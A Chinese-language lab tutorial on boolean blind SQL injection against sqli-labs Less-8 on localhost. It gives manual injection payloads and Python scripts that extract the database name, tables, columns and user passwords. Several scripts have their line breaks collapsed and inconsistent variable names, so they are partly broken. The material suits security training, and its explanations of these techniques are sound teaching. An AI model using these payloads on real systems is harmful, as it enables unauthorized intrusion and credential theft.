文章目录

  • 前言:
  • 一、Bool盲注常用的函数:
  • 二、Less8 布尔型单引号GET盲注
    • 1、查数据库版本
    • 2、猜解数据库的长度
    • 3、猜数据库名字
    • 4、猜解表名
    • 5、猜解字段名
    • 6、猜解数据
  • 三、脚本注入:

前言:

今天来总结下SQL注入的 Bool 盲注,通过 sqli-labs 靶场练习。

一、Bool盲注常用的函数:

database()     显示数据库名称
left(a,b)     从左侧截取a的前b位
substr(a,b,c) 从b位置开始,截取字符串a的c长度
mid(a,b,c)    从位置b开始,截取a字符串的c位
length()      返回字符串的长度
Ascii()       将某个字符转换为ascii值
char()        将ASCII码转换为对应的字符

ok,知道了这些就去实战试试吧。

二、Less8 布尔型单引号GET盲注

补充:本关也可以用时间盲注,报错注入是不行的,因为报错信息被注释了。

输入?id=1,页面正常,但还是没有显示信息。

加单引号

页面无回显,应该是报错了,继续输入?id=1 and 1=2

页面没有变化,说明不是数字型,输入?id=1 and 1=2 --+

页面发生变化(没有报错,只是查不出数据,和上面的无回显不一样),说明是单引号闭合的字符型注入。

知道了这些,下面就可以开始正式的 Bool 注入了。

1、查数据库版本

利用 left(database(),1)进行尝试

127.0.0.1/sqli-labs-master/Less-8?id=1' and left(version(),1)=5 %23

这里数据库的版本为 5.6.17,上面的语句是看版本号的第一位是不是 5,如果回显正常,那么说明第一位就是5
这里显然回显正常,剩余的慢慢测,一般都是使用脚本。

2、猜解数据库的长度
127.0.0.1/sqli-labs-master/Less-8?id=1' and length(database())=8 %23


数据库长度为 8 时,页面回显正常。这里说明下,长度要一个一个的试,这里只是验证下,在要爆信息不多的情况下可以手动试试(二分法可以提高很多效率),太多的话就建议用脚本,或者用burp 爆破。

3、猜数据库名字

首先猜测数据库第一位,这里使用了 left 函数

left(a,b):返回a字符串从左至b位数,详细看下面用法。

127.0.0.1/sqli-labs-master/Less-8?id=1'and left(database(),1)>'a'--+


数据库我们知道是 security,所以我们看他的第一位是否 大于 a,很明显 s 大于 a 的,因此回显正常。当我们不知情的情况下,可以用二分法来提高注入的效率。

测得第一位为 s,我们看前两位是否大于 sa,继续猜测第二位:

127.0.0.1/sqli-labs-master/Less-8?id=1'and left(database(),2)>'sa'--+


然后第三位,第四位…(很麻烦)。

这里还可以构造这样的命令猜解数据库第一位 :

127.0.0.1/sqli-labs-master/Less-8?id=1' and ascii(substr((database()),1,1)) >80--+

第二位:

127.0.0.1/sqli-labs-master/Less-8 ?id=1' and ascii(substr((database()),2,1)) >80--+

最终我们可以确定数据库的全名是security,接下来我们判断表名。

4、猜解表名

语句:

?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit x,1),y)=""--+

通过变换 x 和 y 的值我们可以得到所有的表名。

注:security里有四张表,limit 3,1 即第四张表 users

接下来判断所有的users中的字段名。

5、猜解字段名

语句:

?id=1' and left((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit x,1),y)=""--+

通过变换 x 和 y 的值可以得到 username 和 password 这两个字段名

接下来就是爆数据了 。

6、猜解数据

用户名:

?id=1' and left((select username from users limit x,1),y)=""--+

通过变换x,y的值可以得到所有的用户名 。

密码:

?id=1' and left((select password from users limit x,1),y)=""--+

通过变换 x,y 的值可以得到所有的密码 。

布尔盲注的手工注入很是繁琐,推荐使用 sqlmap 或 脚本,下面分享一个脚本。

三、脚本注入:

爆数据库 :

# -*- coding:utf8 -*-
import requests
url = 'http://localhost/sqli-labs-master/sqli-labs-master/Less-8/?id=1%27'  # 这个url要对应你自己的url
payload = " and%20left({d}(),{n})=%27{s}%27%20--%20k"
# 上面两个可以合并为一个,但没有必要,(本来就是我拆开的)
list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v','w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']  # 字典
str1 = "You are in..........."  # 就是通过返回的页面里有没有这个字符串来判断盲注有没有成功
# 开始对比database()
database = ''
for i in range(1, 10):  # 相当于C语言的for循环1~9 其实这里应该先判断database有多长的for ss in list1:  # 相当于for循环遍历list,然后把每一项赋值给ssp = payload.format(d='database', n=i, s=database+ss)  # 把payload里的{d},{n},{s}赋值u = requests.get(url+p)  # 访问网页# print pif str1 in u.content:  # 如果str在网页内容里面database += ssprint u"正在对比database第", i, u"个字符",print databasebreak
print u"对比成功,database为:", database
# 开始对比user()#user也是同理
user = ''
for i in range(1, 20):for ss in list1:p = payload.format(d='user', n=i, s=user+ss)u = requests.get(url+p)# print pif str in u.content:user += ssprint u"正在对比user第", i, u"个字符",print userbreak
print u"对比成功,user为:", user
print u"database-->", database
print u"user-->", user
a = raw_input()

爆破成功

接下来爆表

# -*- coding:utf8 -*-
import requests
url = 'http://127.0.0.1/sqli-labs-master/Less-8?id=1%27'
payload = 'and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=' \'database()%20limit%20{t},1),{w},1))={A}%20--%20k'
# 我把上面的substr改成了substring按理说mysql里substring和substr是一样的但是如果出错了记得改回substr
list1 = [64, 94, 96, 124, 176, 40, 41, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 173, 175, 95, 65, 66, 67, 68, 69, 70, 71,72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 97, 98, 99, 100, 101, 102, 103,104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 44]
str1 = "You are in..........."
tables1 = ''
tables2 = ''
tables3 = ''
tables4 = ''
for i in range(0, 4):   //这里要视情况而定,表的数量不定for j in range(1, 10):for s in list1:p = payload.format(t=i, w=j, A=s)u = requests.get(url+p)if str1 in u.content:if i == 0:tables1 += chr(s)print u"正在对比第1个表,", u"第", j, u"个字符",tables1elif i == 1:tables2 += chr(s)print u"正在对比第2个表,", u"第", j, u"个字符", tables2elif i == 2:tables3 += chr(s)print u"正在对比第3个表,", u"第", j, u"个字符", tables3elif i == 3:tables4 += chr(s)print u"正在对比第4个表,", u"第", j, u"个字符", tables4break
print 'tables1-->', tables1
print 'tables2-->', tables2
print 'tables3-->', tables3
print 'tables4-->', tables4
a = raw_input()


然后盲注users的字段名:

# -*- coding:utf8 -*-
import requests
list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '!', '-', '|', '_', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '.']  # 字典
url = 'http://127.0.0.1/sqli-labs-master/Less-8?id=1%27'
payload = '%20and%20left((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security' \'%27%20and%20table_name=%27users%27%20limit%20{w},1),{n})=%27{c}%27%20--%20k'
# payload其实就是url的后半部分,也是盲注的关键代码,也可以和url变量合并
column = ['', '', '', '', '']
str = 'You are in...........'
# 以上四个变量就是与本次盲注相关的变量了
for j in range(0, 3):for i in range(1, 9):for l in list1:p = payload.format(w=j, n=i, c=column[j]+l)u = requests.get(url+p)if str in u.content:column[j] += lprint u'正在对比第', j+1, u'个字段第', i, u'个字符', column[j]break
for c in range(0, 5):print 'column', c+1, '-->', column[c]
a = raw_input()


最后就是查看数据了

# -*- coding:utf8 -*-
import requests
list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '!', '-', '|', '_', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '.']  # 字典
url = 'http://127.0.0.1/sqli-labs-master/Less-8?id=1%27'
payload = '%20and%20left((select%20username%20from%20users%20where%20id%20={n}),{w})=%27{d}%27%20--%20k'
str = 'You are in...........'
username = ['', '', '', '', '', '', '', '', '', '', '', '', '', '']
password = ['', '', '', '', '', '', '', '', '', '', '', '', '', '']
for i in range(1, 15):for j in range(1, 11):for l in list1:p = payload.format(n=i, w=j, d=username[i-1]+l)u = requests.get(url+p)if str in u.content:username[i-1] += lprint u'正在对比第', i, u'个记录的username的第', j, u'个字符', username[i-1]
payload2 = '%20and%20left((select%20password%20from%20users%20where%20id%20={n}),{w})=%27{d}%27%20--%20k'
for i in range(1, 15):for j in range(1, 11):for l in list1:p = payload2.format(n=i, w=j, d=password[i-1]+l)u = requests.get(url+p)if str1 in u.content:password[i-1] += lprint u'正在对比第', i, u'个记录的password的第', j, u'个字符', password[i-1]
print 'id    username    password'
for i in range(1, 15):print i, '-', username[i-1], '-', password[i-1]
a = raw_input()



SQL注入学习——Bool盲注详解 sqli-labs(Less 8)相关推荐

  1. SQL注入学习——时间盲注详解 sqli-labs(Less 9)

    文章目录 前言: 一.基础知识 1.时间盲注简介: 2.时间盲注常用的函数: 二.Less9 基于时间的单引号盲注 1.判断数据库名的长度: 2.猜测数据库: 3.判断表名的长度 4.猜测 secur ...

  2. sql注入学习——布尔盲注

    前言:之前通过前九关学习到了回显注入.报错注入等一些方法,这次就来详细的学习布尔盲注. 首先来了解一下盲注的概念 盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL ...

  3. sql注入学习——时间盲注

    前言:之前通过前九关学习到了回显注入.报错注入.布尔盲注等一些方法,这次就来详细的学习时间盲注. 在上一篇博客中,了解了布尔盲注,其实布尔盲注和时间盲注大致相同,注入原理是一致的,区别就是一个还是有回 ...

  4. mysql dba盲注_SQL注入学习-Dnslog盲注

    1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...

  5. SQL注入之时间盲注 和 报错注入(sql-lab第一关为例)

    什么是时间盲注 时间盲注指通过页面执行的时间来判断数据内容的注入方式,通常用于数据(包含逻辑型)不能返回到页面中的场景,无法利用页面回显判断数据内容,只能通过执行的时间来获取数据. 时间盲注的过程 1 ...

  6. Blind SQL injection:盲注详解

    什么是盲注? 当应用程序易受SQL注入攻击,但其HTTP响应不包含相关SQL查询的结果或任何数据库错误的详细信息时,就会出现盲SQL注入. 对于盲目SQL注入漏洞,许多技术(如联合攻击)都是无效的,因 ...

  7. SQL注入原理-时间盲注

    小伙伴们大家好!本期为大家带来的是SQL注入原理之时间盲注. 目录 使用环境 常见函数与语句 sleep()函数 if语句 substr()函数 ord()函数 length()函数 实战演示 1.判 ...

  8. sql注入危害利用及防护详解+sqlmap使用

    来自于个人日常学习总结,欢迎大家一起来学习交流,如要转载请标明出处. sql注入危害 数据库信息泄露 网页篡改: 通过操作数据库对网页进行篡改,嵌入木马连接 数据库被恶意操作:被攻击.管理员账户被更改 ...

  9. SQL注入原理-布尔盲注

    小伙伴们大家好,今天为大家带来的使SQL注入原理之布尔盲注. 目录 布尔盲注使用的环境 常用函数与语句 substr()函数 ord()函数 length()函数 实战演示 1.判断是否存在注入点 2 ...

最新文章

  1. C#期末考试题,图书系统
  2. C#正则表达式编程(四)转致周公
  3. mongodb atlas_如何使用MongoDB Atlas将MERN应用程序部署到Heroku
  4. Ubuntu设置为命令行登录
  5. Integer 与 int 的区别
  6. ie浏览器在线使用_微软加速反IE战略,超过1000个网站将拒绝渲染
  7. 谈谈JavaScript中的function constructor和new关键字
  8. java基础 第四章 下(数组)
  9. 修改页面后获得flag_逆向基础题五:获取Flag
  10. nsis出错_安装程序出现NSIS ERROR错误解决思路
  11. 用matlab实现人脸识别,Matlab实现简单的人脸识别程序
  12. I 滑稽树上滑稽果(莫队+组合数)
  13. git cherry-pick的使用
  14. pacman 查询_pacman常用命令
  15. 正则表达式在线测试 | 菜鸟工具
  16. Laravel重写或者覆盖vender下面的方法
  17. 小米手机fastboot模式出现Press any key to shutdown字样解决方法
  18. 修改CAD图纸背景颜色的方法?
  19. 微信小程序口袋奇兵选服务器,口袋奇兵小程序
  20. 【考研数学】数一-数学概念anki卡片合集-547张-23000字-22电子科大考研上岸整理

热门文章

  1. 六十一、深入学习位运算
  2. 六十九、Springboot整合JDBC,连接Mysql
  3. 自学转行学AI人工智能怎么样?
  4. 斯坦福助理教授马腾宇:ML非凸优化很难,如何破?
  5. 旷视 AI 飞跃 | 研究生联合培养计划
  6. 2021斯坦福图机器学习课程CS224W开课了,Jure Leskovec主讲
  7. 面向睡眠阶段分类的自适应时空图卷积神经网络
  8. PW Live 直播 | 北邮博士生纪厚业:异质图神经网络之模型和应用
  9. web公选课第三节2020.5.18
  10. SpringBoot从入门到实战只需一篇文章